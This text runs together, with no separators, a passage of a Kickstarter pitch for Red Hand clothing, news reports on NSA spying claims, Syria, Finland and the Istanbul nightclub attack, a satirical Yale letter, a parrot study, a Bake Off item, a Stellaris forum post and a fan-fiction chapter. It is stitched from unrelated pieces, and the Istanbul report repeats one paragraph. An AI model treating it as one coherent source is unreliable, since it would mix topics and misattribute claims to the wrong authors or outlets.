shoelaces, socks, undershirts, t-shirts and belts. We need to buy raw materials in bulk so that we can make products more efficiently and produce our initial order. We need your help to do that. We put together a table to help you navigate the packages we are offering. If the products appear in red, it means you have the options to choose either. The First Red Hand Products Transform your shoes with Red Hand shoelaces Shoelaces. We started by making better athletic and dress shoelaces. There are not many shoelace braiders left in the States that can produce laces that will compete with the best on the market. We found the one left that produces for some of the top names and brands in footwear today. Our shoelaces are made from premium blends so that our laces last and use variable density braiding to ensure they stay tied longer. They come in more sizes so that you can find the right lace for your foot and shoe. Athletic Laces: Styles - oval and bubble / Colors - black, red or white with an additional oval lace in black with red stripes / Lengths - 34", 40", 46", 52" and 58" / Aglets - clear acetate or black, red or silver metal. Dress and Casual Laces: Style - round / Colors - black, brown or red with more colors coming online this spring / Lengths - 27", 30" or 33" / Aglets - clear acetate or black, red or silver metal. Socks. When we designed our socks, we took our favorite parts from the best socks we could find. We brought back a few design elements that we thought designers should have kept. We ditched the “one size fits all” approach. Then we found the best sock maker in the States - the family owned business that makes elite socks for one of the biggest athletic companies in the world and that makes some of the best performance socks on the market today. All of our socks have soft cotton uppers, arch compression and padding on the heel, sole and toe. The heel, sole and toe incorporate a wool and acrylic blend that keeps your feet dry. The low cut athletic socks have a tab on back to keep them from slipping down your heel. The casual sock is available in an over-the-calf style to keep those socks up. Athletic Socks: Styles - low (with tab) and crew / Sizes - medium (6-8), large (8.5-12) and extra large (12.5-15) / Colors - black or white with red or grey blocking / Material - cotton uppers with a signature cotton, wool, and acrylic blend for the heel, toe and sole Casual Socks: Styles - crew and over-the-calf / Sizes - medium (6-8), large (8.5-12) and extra lage (12.5-15) / Colors: black, Red Hand striped, Red Hand diamonds, and black and grey striped with red or grey blocking / Materials - cotton uppers with a signature cotton, wool, and acrylic blend for the heel, toe and sole Belts. As with socks and laces, we are struck by how hard it is to find a good belt so we decided to make our own. We are using American leather in all of our belts and working with Detroit metal crafters to make our buckles. For Kickstarter, we wanted to offer our supporters something unique. We have identified five classic American cars and are working with the metal team to make a limited edition belt buckles from hoods of those cars. Each belt will come with a tag that shows the year, make, and model and will be numbered. The buckles tell the story of the glory days of American manufacturing and of its re-emergence with brands like Red Hand. It tells the story of Detroit, where our products are designed. And, it tells the story of being an American guy. The Red Hand Collectors Belt: Red, white and black buckles cut from classic American cars on black, brown or natural leather in the size of your choice. The list of cars will be finalized once Kickstarter is complete. Undershirts. Too often, undershirts are boxy and too short, and the quality is inconsistent. Our undershirts are designed to be a slimmer fitting and longer in the torso. The 'V' is deeper so that it stays hidden. That means you can comfortably wear them with all cuts of dress shirts and with jeans and trust that they will not come untucked. We chose ultra soft and ultra premium Supima cotton. Our recommendation: pick them in natural. It feels even softer and won't stick out as much against your skin. We have one of the best North Carolina knitters making our cotton and a top-tier cut and sew shop in Pennsylvania. The quality of these shirts is remarkable. The Red Hand Undershirt: Styles - V neck and crew neck / Colors - white and natural / Sizes - medium, large, extra large T-shirts. We love t-shirts so it only seemed natural to release them first-we still have some of our first collection available on our website. We created a limited edition t-shirt that will only be available during this Kickstarter campaign. It will be printed on a Red Hand made t-shirt. The newest Red Hand t-shirt available during the Kickstarter campaign The original line of Red Hand t-shirts still available at redhand.us Design Our approach to design is straightforward: 1: bring a fresh set of eyes to ignored or neglected products, 2: use colors and patterns that look good in casual and professional settings, and 3: identify the best materials to improve performance and fit while making our products unbelievably comfortable. The result is shoelaces that last and stay tied without shredding or breaking, and aglets that don’t fall apart. (An aglet, by the way, is that little thing on the end of your shoelaces.) It means socks that stay up, fit well, and fight odor and undershirts that stay tucked in even when you are wearing jeans. And, it means belts with buckles cut from the hoods of classic muscle cars that look cool and tell a story while keeping your pants up. We were fortunate to find a phenomenal design partner in Middlecott. We worked so well together that they became a partner in Red Hand. About Red Hand I’ve never considered myself a fashion guy, but I have decades of design experience on the web, in landscapes, and as a sculptor. I have spent a majority of my professional life dedicated to making the things I touch excel. I’ve owned four businesses and helped more than a dozen other business owners build theirs. I know how to bring the right people together to accomplish more than they have any business trying on their own. I know what I like and what I demand as a consumer. I love things that fit, that are comfortable, and that last. I like companies that are responsive and care. I don’t like things that feel overdone. Common sense and function are equally as important to me as how things look. But I need all three. When I created Red Hand, I set out to build a company that made incredible products—the kind of products that guys would be psyched to put on every day. I also set out to build a company that I could believe in. One that was fair to suppliers and manufacturers as well as employees and customers. You can’t do that without being smart about business, and I have experience balancing that. The design and the brand are inspired by iconic American brands, by musicians and artists, and by my Midwestern background. We are incredibly proud of what we have done in a short period of time and even more excited about what that says for the future of Red Hand. We hope you agree. What's Next?
David Murfee Faulk said he saw a file on Mr Blair in 2006 which contained information of a "personal nature" gleaned from eavesdropping on his private telephone conversations. The accusation that the Bush regime was spying on its closest ally in the war on terror is particularly embarrassing as there is understood to have been an understanding between the two countries that such espionage would not be carried out. Mr Faulk said he had top secret clearance as a US Army Arab linguist at a covert giant listening post run by the National Security Agency. He was able to gain access to an intelligence data base of phone call recordings and transcripts, code-named Anchory, where he found a file on Mr Blair. He made his disclosures to an investigation by ABC News a month after his claims that the NSA spy on American citizens prompted a Senate investigation. While it is often claimed spying on allies is routine in international espionage, the closeness of the Bush-Blair alliance meant it was supposed to have been an exception. According to former US intelligence officials, there has been a long-standing agreement with Britain not to collect such information on each other's leaders. "If it is true that we maintained a file on Blair, it would represent a huge breach of the agreement we have with the Brits," a former CIA official told ABC News. A spokesman for Mr Blair refused to comment on the claims. Mr Faulk declined to say exactly what he saw in Mr Blair's file but said it was information of a "personal nature". He also revealed that the US was spying on Ghazi al-Yawer, Iraq's first interim president after the US invasion, and another key ally. He said he heard "pillow talk" phone calls of Mr Yawer in which he chatted with his fiancé, whom he later married. Mr Faulk, 39, broke his silence about his work at the NSA base at Fort Gordon, Georgia, last month when he claimed that it intercepted the private phone calls of American journalists, aid workers and soldiers stationed in Iraq. His claims prompted calls by some US congressmen for an investigation into what they described as "extremely disturbing" allegations. President Bush has previously denied that the NSA has eavesdropped on American citizens and Mr Faulk's insistence to the contrary is to be investigated by the Senate Intelligence and Judiciary Committees. A second whistle-blower, Adrienne Kinne, has supported his claims about US journalists, saying their conversations were intercepted when they used satellite phones. Fort Gordon is the world's biggest listening post. Nicknamed Black Hall, it is home of the US Army's Signals Centre and employs some 30,000 intelligence gatherers. While running the NSA, Gen Michael Hayden, now the CIA director, told Congress that the organisation's eavesdropping targets were carefully chosen. "It's not for the heck of it. We are narrowly focused and drilled on protecting the nation against al Qaeda and those organisations who are affiliated with it," he said.
(CNN) — She's just five years old but might just be Donald Trump's biggest diplomatic win in China. A video of Trump's granddaughter Arabella Kushner reciting Chinese poetry is being shared across the country. During his bid for the US presidency, Trump had nothing but tough talk for Beijing. But the little girl's command of Mandarin is being interpreted by some as a hidden sign of Trump's affinity with the country. Arabella wanted to have a pre-bedtime #ChineseNewYear party this past Sunday evening. She got all dressed up and performed songs and poems for Jared, Joseph and me. It was pretty adorable 🐒 #yearofthemonkey "Trump's craziness and unreliability are just being deceptive," said Weibo user @Ananqiumao in one top rated post. "Look at his children and family, each one is cuter and more adorable than one another. That's the result of family education. Trump is a man of achievement." "Feel like Trump would be more friendly to China," said user @caiairenweimian. In the video, Arabella is wearing a red Chinese style ball gown standing on a table. Other traditional Chinese elements -- the Chinese character for happiness, lanterns and Monkey stickers -- are visible in the background. "Arabella wanted to have a pre-bedtime #ChineseNewYear party this past Sunday evening," Trump's daughter Ivanka wrote in the post earlier this year. "She got all dressed up and performed songs and poems for Jared, Joseph and me." Ivanka told the South China Morning Post magazine four years ago that her daughter was studying Mandarin from a Chinese nanny. She added that she was also learning the language and she could "pretty much name every animal in the zoo." Of course, others cautioned against reading too much into the video. "The little girl's language skill is a result of Ivanka's education, nothing to do with Trump himself," said user @Jason_ZFQ. "Those who fantasize about Trump's friendliness to China give me a break. Of course, his real attitude to China remains to be seen."
Yale University’s motto Lux et Veritas means “Light and Truth.” A letter to the Muslim students protesting Ayaan Hirsi Ali’s lecture. To the Yale Muslim Students Association and its many sister organizations that have co-signed a letter protesting Ayaan Hirsi Ali’s lecture on Monday: I love your new free-speech concept! Obviously this woman should have been banned from campus and had her face stomped in; why couldn’t they have just quietly murdered her in Holland along with her fellow discomfort-creators? These people are worse than tweed underwear! They practically live to make undergraduates uncomfortable. But let’s deal with the harsh realities. Your inspired suggestion, having Official Correctors speak right after Ali to remind students of the authorized view of Muslim society, is the most exciting new development in Free Speech since the Inquisition — everyone will be talking about it! You have written, with great restraint, about “how uncomfortable it will be” for your friends if this woman is allowed to speak. Uncomfortable nothing. The genital mutilation of young girls is downright revolting! Who ever authorized this topic in a speech to innocent Yale undergraduates? Next thing you know, people will be saying that some orthodox Muslim societies are the most cruel and benighted on earth and that Western societies are better than they are (better!) merely because they don’t sexually mutilate young girls! Or force them into polygamous marriages, countenance honor killings, treat women as the property of their male relations, and all that. Can’t they give it a rest? You’d think someone was genitally mutilating them. Advertisement Advertisement We all know that Free Speech doesn’t mean that just anyone can stand up and start spouting. Would you let your dog talk for an hour to a Yale student audience? What’s next, inviting Dick Cheney? Careful study of contemporary documents makes it perfectly clear that when the Bill of Rights mentions Free Speech, it is alluding to Freedom of Speech for the Muslim Students Association at Yale. We all know that true free speech means freedom to shut up, especially if you disagree with your betters. And true free thought means freedom to stop thinking as soon as the official truth is announced by the proper Authorities — and freedom to wait patiently until then. Advertisement Now take this Ayaan Hirsi Ali. First of all, she’s a black woman, and they’re not quite ready for prime time, know what I mean? And she’s against the systematic abuse of women in Muslim societies. What about people who are for the systematic abuse of women in Muslim societies? Furthermore, she lacks “representative scholarly qualifications.” Want the whole campus flooded with quacks expressing their so-called opinions based on “experience” and “knowledge” instead of academic authority? And she’s Dutch. More or less. Enough said. Thank you for protecting us from having to listen to uncensored ideas and make up our own minds, Yale Muslim Students Association. Or at least trying. We will treasure your letter and keep it under our pillows forever. Advertisement Advertisement — David Gelernter is a professor of computer science at Yale University.
Griffin the grey parrot appears to understand benefits of sharing A study into whether grey parrots understand the notion of sharing suggests that they can learn the benefits of reciprocity.The research involved a grey parrot called Griffin, who consistently favoured the option of ‘sharing’ with two different human partners.Griffin was presented with a choice of four different coloured cups. A green cup (the sharing option) meant he and his partner each got treats. A pink cup represented the selfish choice as only Griffin got a treat, an orange cup was the giving option as only his partner got a treat, and a violet cup denoted the spiteful selection as no one got treats.With few exceptions he consistently favoured green for each human partner, indicating he understood the benefits of choosing the ‘sharing’ option.The results of this study, carried out by Dr Franck Péron, from the School of Life Sciences, University of Lincoln, UK, with colleagues at Harvard University and Brandeis University, US, have now been published in the journal Animal Cognition.The question under investigation was whether Griffin would learn the human partner’s actions, understand that the human was replicating his own behaviour by acting in a reciprocal manner, and that by choosing the green (sharing) cup, he could maximize the overall payoff, because then each would receive a reward on each turn.It followed a previous study conducted by the same team, which focussed on grey parrots and used a similar token-based system, demonstrating a limited understanding of reciprocity in grey parrots.When the pairs involved several different human-parrot pairings with each human playing a specific role, such as being selfish, giving, or copying the bird’s behaviour, birds’ responses only tended towards consistency with human behaviour.It was theorised that the birds’ inability to understand the copycat condition fully - that they could potentially maximize reward by choosing to share - was a consequence of their viewing the copycat’s behaviour as erratic, compared with the consistently selfish or giving humans and therefore not realising that they were being mirrored.Dr Péron said: “This follow-up experiment has shown that at least one grey parrot - the dominant in this case - responded in a manner suggesting that he deduced the appropriate eventualities.“With few exceptions, Griffin chose the green sharing cup. He seemed to understand the parameters of the study; that is, that each person was mirroring Griffin’s own behaviour and not acting erratically. Although choosing pink (selfish) would have presented the same immediate reward as choosing green (sharing), Griffin did not act in that manner. He seemed to figure out fairly quickly that his choice of pink meant that he would miss a reward when the human subsequently made the choice.”A possible explanation for Griffin’s behaviour may be derived from two papers on primates, which argue that various forms of reciprocal behaviour in non-human primates can be explained as either a balancing act between fairness and empathy, or fairness and welfare.The basic idea in both papers is that the choice of group members to reciprocate in kind derives from the interplay among selfishness, some level of concern for the well-being of others, and some sense of fairness.The new data suggests that some level of reciprocity can be demonstrated in at least one avian species, whatever the underlying mechanisms. The basis for such behaviour may be a consequence of the same evolutionary pressures that were exerted to develop advanced cognitive and communicative abilities in both avian and primate lineages.The team suggested that copycat trials should be performed as a separate experiment, without being contrasted with trials in which humans acted consistently, in order to determine if results might have differed.Franck Péron, Luke Thornberg, Brya Gross, Suzanne Gray, Irene M. Pepperberg. Human-grey parrot (Psittacus erithacus) reciprocity: a follow-up study. Animal Cognition. DOI 10.1007/s10071-014-0726-3
Media playback is unsupported on your device Media caption Footage purporting to show shelling in Homs continues to emerge Syrian troops have resumed heavy shelling of the city of Homs, activists say, a day after the UN General Assembly called for an end to violence. One opposition group said the bombardment was the heaviest since troops launched attacks on anti-government strongholds 13 days ago. A senior Chinese envoy is meanwhile due to meet President Bashar al-Assad. China and Russia voted against the UN resolution, which also called on Mr Assad to hand over power to his deputy. The two countries also vetoed what would have been a legally binding UN Security Council resolution two weeks ago. It's unbelievable - extreme violence the like of which we have never seen before Hadi Abdullah, Syrian Revolution General Commission 'Extreme violence' Parts of Homs have been battered by mortars and rockets fired by Syrian government troops for nearly two weeks, as they try to dislodge hundreds of rebels from the Free Syrian Army. On Friday, shells were hitting the districts of Baba Amr, Inshaat, Bayada and Khaldiya, opposition and human rights activists said. "The shelling is continuous. They are using rockets and mortars, which are falling on people's houses," Homs resident Abu Abdah told the BBC. "The damage is so huge, and the city has been isolated." "We have no support. We have a lack of medical supplies and food. The Assad forces have prevented people leaving the city." Hadi Abdullah of the Syrian Revolution General Commission told the AFP news agency: "It's unbelievable - extreme violence the like of which we have never seen before, with an average of four rockets every minute." "There are thousands of people isolated in Homs. There are neighbourhoods that we know nothing about. I myself do not know if my parents are OK. I have had no news from them for 14 days," he added. Government forces on the outskirts of Homs have yet to make a big push on the ground to wipe out all resistance, as they have promised to do. The UK-based Syrian Observatory for Human Rights reported that nine unidentified bodies were found in Homs on Friday morning. Later, security forces in several locations reportedly attacked demonstrators spilling onto the streets after Friday prayers, including in the suburbs of Damascus. The Observatory said one person died at a protest in the capital's western Mezzeh district. The Local Co-ordination Committees, an activist group that organises and documents protests, reported that 45 people had been killed by security forces across the country, including seven in Homs and 12 army defectors who were executed in the southern province of Deraa. 'Unbalanced' resolution The BBC's Jim Muir in neighbouring Lebanon says the passing of the resolution at the UN General Assembly clearly is not affecting events on the ground, but it gave all parties a chance to air their views. One-hundred-thirty-seven member states voted for the motion, which called on the Syrian authorities "to stop all violence or reprisals immediately, in accordance with the League of Arab States initiative". Image caption Syria's UN envoy Bashar Jaafari said the vote would make the violence worse The regional grouping has called on Mr Assad to hand over power to his deputy, who would form a national unity government within two months. "The UN General Assembly sent a clear message to the people of Syria - the world is with you," US permanent representative Susan Rice said. Russia and China were amongst the 12 states who voted against the non-binding resolution. There were also 17 abstentions. Before the vote, Russia's Deputy Foreign Minister Gennady Gatilov said the resolution was "unbalanced". Syria's permanent representative, Bashar Jaafari, meanwhile argued that it was a message of support to the "extremists and terrorists" he said the authorities in Damascus were fighting, and warned that it would only lead to more violence. But UN Secretary General Ban Ki-moon accused the Syrian authorities of committing "almost certain" crimes against humanity. China does not approve of the use of force to interfere in Syria or the forceful pushing of a so-called regime change Zhai Jun, Chinese Vice-Foreign Minister On Friday, Chinese Vice-Foreign Minister Zhai Jun, who has met some opposition figures, is due to meet President Assad in Damascus for talks. Before leaving Beijing, he condemned violence against civilians and called on the Syrian government to respect the people's "legitimate" desire for reform. But he added: "China does not approve of the use of force to interfere in Syria or the forceful pushing of a so-called regime change." Our correspondent says the chances for successful mediation right now seem very slight. Arab and Western powers will be meeting in Tunis in a week to step up support for the Syrian opposition. Two days after that, the government is going ahead with a referendum on a new constitution. On Friday, France and the UK urged the Syrian opposition to unite and said it needed more international support to resist suppression. "We cannot bring about a Syrian revolution... if the Syrian revolution does not make an effort to rally together and organise so that we can better help them,'' French President Nicolas Sarkozy told reporters after holding talks in Paris with UK Prime Minister David Cameron. Mr Cameron meanwhile announced that the UK was sending food and medical supplies to help tens of thousands of people in Syria.
COPENHAGEN — Police in Finland released a third suspect Friday in a fatal stabbing attack allegedly carried out by a Moroccan asylum-seeker, a development that came hours after the Nordic country’s news agency said officers will be issued MP5 submachine guns in addition to their normal equipment. The released man was arrested a week ago on suspicion of helping plan the Aug. 18 attack that killed two people and injured eight, the National Bureau of Investigation said. Two other Moroccans who also had been detained as suspects were released earlier this week. None of them still are considered suspects, the bureau said. The main suspect — a Moroccan asylum-seeker whose application was denied — is being held on suspicion of murder and attempted murder with terrorist intent. Investigators said he had become radicalized, but did not elaborate. He also had given a false name and age when he first was interviewed. Investigators have said they weren’t aware of a motive for the attack in southwestern Finland, but that it appeared to target women. Earlier in the day, Finnish news agency STT said the country’s more than 7,000 police officers soon will have submachine guns. A top police official cited the increased terror threat is the main reason for the upgrade. Ari Alanen of Finland’s top police body told STT on Friday that “we must increasingly consider the weapons we need to take with us.” No one with the National Police Board was immediately available for comment. No details were immediately available on when the weapons would be handed out. In June, Finland’s security agency raised its threat assessment to the second level on a four-step scale.
Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Jan. 1, 2017, 8:51 AM GMT / Updated Jan. 1, 2017, 10:34 PM GMT By Alastair Jamieson and Aziz Akyavas A terrorist remained on the loose Sunday after opening fire at a crowded nightclub in Istanbul during New Year's celebrations, killing at least 39 people. The suspect killed a police officer and a civilian outside the Reina Club before entering and firing on revelers inside at about 1:30 a.m. (5:30 p.m. ET Saturday). "Efforts to find the terrorist are continuing," Turkish Interior Minister Suleyman Soylu told reporters. "God willing, he will be caught in a short period of time. This was a massacre, a truly inhuman savagery." Related: Scenes of Chaos and Mourning After Istanbul Attack Twenty-eight of the dead were foreigners, Turkish Health Ministry officials said. Canadian, Iraqi, Saudi, Indian, Lebanese, Tunisian, Kuwaiti and Syrian citizens are among the dead. An Arab Israeli woman was also killed, Israel's Foreign Ministry said, and her friends were wounded. Turkish Health Minister Recep Akdag said 65 people were wounded, four of them critically. Among the wounded was one American citizen — Jake Raak, 35, of Greenville, Delaware, who was in Istanbul to celebrate New Year’s, his brother, Mike Raak, told NBC News. Mike learned the news after receiving a call from his brother, who was hospitalized. “I was in a club and I got shot,” Mike recalled Jake saying. The injuries weren’t serious — the bullet struck Jake’s hip and traveled to his knee — and doctors expected him to be discharged and on his way home to the United States within the next day, Mike said. Still, Mike added, his brother sounded horrified. “He was completely shaken,” he said. As the manhunt unfolded, the U.S. Consulate in Istanbul warned Americans in the city to "shelter in place," and it tried to tamp down rumors circulating on social media that the U.S. government had forewarning of the attack. In a statement, the consulate denied that it had warned Americans to stay away from the area. A handful of WNBA players, including Essence Carson, Chelsea Gray and Jantel Lavender of the Los Angeles Sparks, were next door when the attack took place. Sparks coach Brian Agler told The Associated Press that Carson texted him to say the three players were OK. About two dozen WNBA players are in Turkey during their off-season playing in a league there. The WNBA told the AP that all of the players had been accounted for. Police guarded the scene of the attack Sunday in the Ortakoy district, close to the Bosphorus strait. Istanbul provincial Gov. Vasip Sahin said the attacker was armed with a long-barreled weapon and "rained bullets in a very cruel and merciless way on innocent people who were there to celebrate New Year's and have fun," according to the Anadolu news agency. While it had been reported that the assailant was dressed in a "Santa Claus" outfit, several sources, including Prime Minister Binali Yildrim, said that was incorrect. Sinem Uyanik was in the club with her husband, who she told NBC News was shot three times but is expected to survive. She said she fainted briefly after two people were shot in front. Turkish President Recep Tayyip Erdogan "vehemently" condemned the attack in a statement. "Turkey continues its combat against terror and is absolutely determined to do whatever is necessary in the region to ensure its citizens safety and peace," he said. National Security Council spokesman Ned Price reaffirmed U.S. support for Turkey, a NATO ally. "That such an atrocity could be perpetrated upon innocent revelers, many of whom were celebrating New Year's Eve, underscores the savagery of the attackers," he said in a statement. Security measures had been heightened in major Turkish cities, with police barring traffic leading up to key squares in Istanbul and the capital Ankara. In Istanbul, 17,000 police officers were put on duty, Anadolu reported. Ankara and Istanbul were targeted by several attacks in 2016 by ISIS or Kurdish rebels, which killed more than 180 people. The attack in Istanbul prompted the New York Police Department to deploy some counterterrorism teams and patrols to nightspots, police officials said, although they cautioned that there were no specific or credible threats to the city. Among the wounded was one American citizen — Jake Raak, 35, of Greenville, Delaware, who was in Istanbul to celebrate New Year’s, his brother, Mike Raak, told NBC News. Mike learned the news after receiving a call from his brother, who was hospitalized. “I was in a club and I got shot,” Mike recalled Jake saying. The injuries weren’t serious — the bullet struck Jake’s hip and traveled to his knee — and doctors expected him to be discharged and on his way home to the U.S. within the next day, Mike said. Still, Mike added, his brother sounded horrified. “He was completely shaken,” he said.
We thought we couldn't be more excited about Christmas Day - turkey! presents! booze! - and then we found out about The Great Christmas Bake Off. Bake Off might be heading to Channel 4 soon, but not before Paul Hollywood, Mary Berry and Mel & Sue hit our screens together for one last time for a celebration of all things Christmas. The two episodes - which will air on Christmas Day and Boxing Day - will each feature four returning contestants, and now we know who they are. Love Productions/Mark Bourdillon BBC And, brilliantly, one of them is absolute Bake Off fave, series five's Norman Calder. Hooray for Norman! He'll feature in the first episode along with series two finalist Mary-Anne Boermans, series three's Cathryn Dresser and series four's Ali Imdad. Love Productions/Tom Graham BBC But just because it's Christmas, don't expect the challenges to be easy: Mary and Paul will be setting three yuletide tests that are bound to be tricksy, including a signature challenge requiring intricate icing, a technical challenge involving chocolate snowflakes and a showstopper demanding a "festive masterpiece". We're salivating already, to be honest. And then in the second episode, more favourites will be back as series two's Janet Basu, series three's James Morton, series four's Howard Middleton and series five's Chetna Makan battle it out to be the Christmas champion. Love Productions/Tom Graham BBC But the real question is... WILL SOMEONE NICK HOWARD'S CUSTARD AGAIN?! Well, we're not sure custard will actually be on the menu - we're promised a savoury signature and Paul's setting a tricky bread technical. But the showstopper requires the bakers to make a trio of Christmas favourites, so perhaps there is room for custard redemption after all. Episode one of The Great Christmas Bake Off will air on Christmas Day at 4.45pm, while episode two will be served up at 7pm on Boxing Day - all on BBC One. And if watching the shows gets you all fired up to prove your prowess with an oven, you're in luck, as applications are now open for the first Channel 4 series of Bake Off. We dare you. Want up-to-the-minute entertainment and tech news? Just hit 'Like' on our Digital Spy Facebook page and 'Follow' on our @digitalspy Twitter account and you're all set.
"A hyperlane, also known as a [...], spacelane, [...], was an area of space that had been deemed safe for hyperspace travel." ...This is a quote from the wiki of Star Wars ( http://starwars.wikia.com/wiki/Hyperlane ) ...Personally, I'm preferring the "spacelane"-term, but the actual thing is, that I can totally identify these "spacelanes" for Stellaris, so that such a one is NOT an artificial or a magical "road in space", which simply boosts a ship into an artificial or into a magical ftl-state, so that such a "spacelane" is nothing more than "empty" space in between 2 locations, 2 star-systems for example, without facing the risk to collide with "something" in between these 2 locations ...For Star Wars as well as for Stellaris, this explanation makes even more sense in regards to the circumstances, that these "spacelanes" are just there + that it's not even necessary to build special structures, special space-stations at the entry-/exit-points in the star-systems for example, for the usage of them + that the maps of Star Wars / Stellaris don't represent all the star-systems in their galaxies, so that you could guess, that in the case, that there isn't a "spacelane" between 2 "interesting" / represented star-systems, you have (probably) - 1 or more "un-interesting" / not represented star-systems or "something else" in between these 2 "interesting" / represented star-systems ...This "something else" could even be an other "spacelane", so that it makes somewhat sense, that the species have made some sort of a mutual agreement about an established "spacelane-network" without "crossing" "spacelanes" to avoid the risk, that their ships collide with each other ...What's left is, that a ship needs an own ftl-device for itself, but it's nevertheless recommended, that this ship uses "spacelanes" / an established "spacelane-network" ...For Stellaris, we could call it a day by calling this ftl-device the (more explainable) "warp-drive" (Star Trek) than the (not so comprehensible) "hyper-drive" (Star Wars) ...By the way, I wouldn't be surprised in the case, that ...01. The "hyper-drive" (Star Wars) is actually some sort of a (better) "warp-drive" (Star Trek) ...02. The "warp-drive" (Star Trek) is actually a bit more restricted in regards to "spacelanes" / an established "spacelane-network" ...
Chapter 39 "I could just take care of both fights." Yosuke offered. "Ah but you can't." Thanatos said. "You must each take a round." "Well, I guess that's out the window." Yosuke sighed. "Alright, it would make sense if the second round was more difficult than the first, so maybe you should take this one." "I can handle it." Rise said. She picked up her spear/laser and walked down the ramp. Taking up her place on the arena floor, she waited for her opponent as the ramp transformed back into a wall. "You all accused me of playing mind games." Thanatos said. "I won't deny it, and if it's mind games you want it's mind games you'll get." The mass of shadow-goo that bubbled up from the arena floor grew massive before collapsing into a small humanoid form. As the excess fell away it became clear that it had taken the form of Naoto. "You think because it has my friend's face I won't kill it?" Rise asked. "That's part of it, but I intend to give you the full shadow experience." Thanatos laughed. "What's that supposed to mean?" Rise demanded. "I think you know." The shadow said. It sounded like Naoto but distorted like a bad recording and filled with malice. "I would think that this form would make you a more eager killer." "That's absurd." Rise said. "Why would I be eager to hurt my friend?" "Friend, such a funny word." The shadow said. "It means different things to different people. Apparently for you it's a person of whom you are jealous. A person you resent." "I...I don't know what you're talking about." Rise said. She was less than convincing. "You want what I have." The shadow was now talking as if it were Naoto. The shift was subtle but disturbing. "You want what I have with Yu. Why would he choose me over you? You're so much sexier and so much more fun. You'd do anything to have what I have. Anything except actually saying it. You're too afraid to make us both hate you so you just keep it to yourself and act like it's not important. You act like it's not eating you up inside but it is. You just tell yourself it's for the best. Just let everyone be happy. Everyone except you." "Alright, I get it!" Rise shouted. "I feel that way sometimes and I'm not proud of that. I don't hate Naoto for it. It certainly doesn't make me want to hurt her. You, on the other hand, you're just a shadow. I have no trouble hurting you, no matter what form you take." "Then let's do this." The shadow hissed. It reached into its jacket and drew a revolver as Rise readied her weapon. The shadow leveled its gun at Rise. She took aim herself and shined her laser in the shadow's eyes. The shadow recoiled and fired blindly, emptying its gun. By the time its vision cleared Rise was no longer where she had been. The sound of footsteps made the shadow turn, just in time to see Rise rushing toward it. She thrust her spear forward and the shadow jumped aside, narrowly escaping the attack. It attempted to pistol whip her but Rise was already ducking under the strike and it missed by a comfortable margin. Rise planted her spear against her foot and fired. The point extended with extreme speed and hit the shadow in the chest. The shadow was lifted off the ground and tossed onto its back. Rise attempted to pin the shadow to the ground with her spear but it rolled out of the way and left her off balance. Jumping to its feet, the shadow went for a punch but Rise easily dodged it. It was like she knew it was coming. The shadow jumped back and raised both arms over its head. It brought them down and a blast of wind fired out in all directions. Rise tried to brace herself but was thrown off her feet and sent sliding across the arena floor. She did not waste a second, rolling to her feet and running as soon as her wild skid stopped, narrowly avoiding a fireball produced by the shadow. While running, Rise fired her laser in the shadow's general direction. Her fire was inaccurate but appeared to be doing some damage. The shadow clenched its fist and a spectral shield appeared between it and Rise. Her laser fire was stopped well short of the target and the shadow was given time to counterattack. A black circle appeared on the ground ahead of Rise. She stumbled but managed to stop before hitting it. The circle collapsed and another appeared below her. She took off running erratically as a series of collapsing black circles appeared around her. A gigantic white square formed, too large for Rise run out of in time. She planted the tip of her spear in the ground. The square collapsed in a blinding flash that filled the arena with light. When the light faded, Rise was gone. The shadow raised its arm in triumph but the match did not end. With an angry shriek Rise came falling out of the sky, heading straight for the shadow. She slammed the heavy, blunt end of her weapon down on its head, slamming it to the ground. Before the shadow could recover Rise plunged her spear into its chest. The shadow writhed for a moment before bursting into a cloud of glowing ash and evaporating away. "Congratulations, you've won." Thanatos said flatly. "Please leave the arena floor." Rise walked up the ramp to the others, still trying to catch her breath. "Okay, how the hell did you pull that off?" Yosuke asked. "You were trapped in the middle of the giant light attack and then the next time we saw you, you were flying." "I wasn't really flying." Rise said. "I used my spear to launch myself off the ground. I got a lot more air than I was expecting but it worked out." She took a deep breath. "All that running was exhausting and that shadow was...humiliating. Senpai, Naoto, I'm really sorry." "Sorry for what?" Yu shrugged. "You're only human. We all have nasty thoughts sometimes." "I'd be lying if I said I wasn't jealous of you sometimes." Naoto added. "The way you interact with people so easily, your fame, your exciting career, there's a lot to be jealous of." "We can talk about it more after this is over, but just know that we don't hold it against you." Yu said with a comforting smile. "Oh, you guys are the best!" Rise exclaimed. She hugged both of them in turn. "Sorry to interrupt, but this is a disturbing development." Mitsuru said. "Thanatos is clearly changing tactics." "Well straight up fights weren't working." Weiss said. "Playing mind games is a way to throw us off without having to expend energy on summoning more powerful shadows." "It's a disturbing thought, but we really don't know what he's capable of." Pyrrha said. "This tactic is bad enough but if it fails we have no way of knowing what he will try next." "I'm sure whatever it is we'll be ready." Yosuke said. "We've dealt with some pretty bizarre stuff before." "We have seen our share of strange occurrences too." Aigis said. "We were once trapped in a time loop." "Yang once blew up a nightclub." Ruby added. "I'm not sure that really applies here." Yang said. "Me and Ren rode an Ursa!" Nora exclaimed. "It was so fun. Well, at least until it broke." "What were we even talking about?" Yosuke asked, clearly confused. "Time for the next match." Thanatos announced. "Jaune or Pyrrha, who will it be?" "I should probably take this one." Jaune said. "I'll have to fight sometime." "Alright, just be careful." Pyrrha advised. "Remember what we practiced." "I guess we'll get to find out if that practice has been worth it." Jaune said with a forced laugh. He descended the ramp and waited as it transformed into a wall behind him. Jaune had already faced his shadow and he was confident he could handle whatever Thanatos could throw at him. He had learned a lot from Pyrrha and his other teammates, and now he was ready to put those newfound skills to the test. The glob of shadow material that rose up in the center of the arena piled upon itself before condensing into a humanoid form. "Hey there Jauney-boy." The shadow said before it even finished forming. "Oh come on!" Jaune protested. "Cardin? I thought I was done with him." "Well I'm not done with you." The shadow laughed. "If I'm not mistaken, the last time we had a proper fight I beat the tar out of you." "I've learned a lot since then." Jaune said. "I'm sure you're just as useless as you were when you were my lackey." The shadow hissed. "You're not even the real Cardin." Jaune said. He drew his sword and pointed it at the shadow. "Let's just get this over with." "I always preferred kicking your ass to talking to you anyway." The shadow said. The shadow charged as Jaune crouched behind his shield. At a full sprint, the shadow swung its mace. Jaune blocked it and the force sent him sliding back several meters. It hit at least as hard as the real Cardin. The shadow lunged forward with a wild swing and Jaune side-stepped it. He bashed the shadow on the back with his shield and stabbed forward with his blade. The stab was misjudged and missed badly, leaving Jaune open when the shadow whirled around and smashed him in the face with the mace. 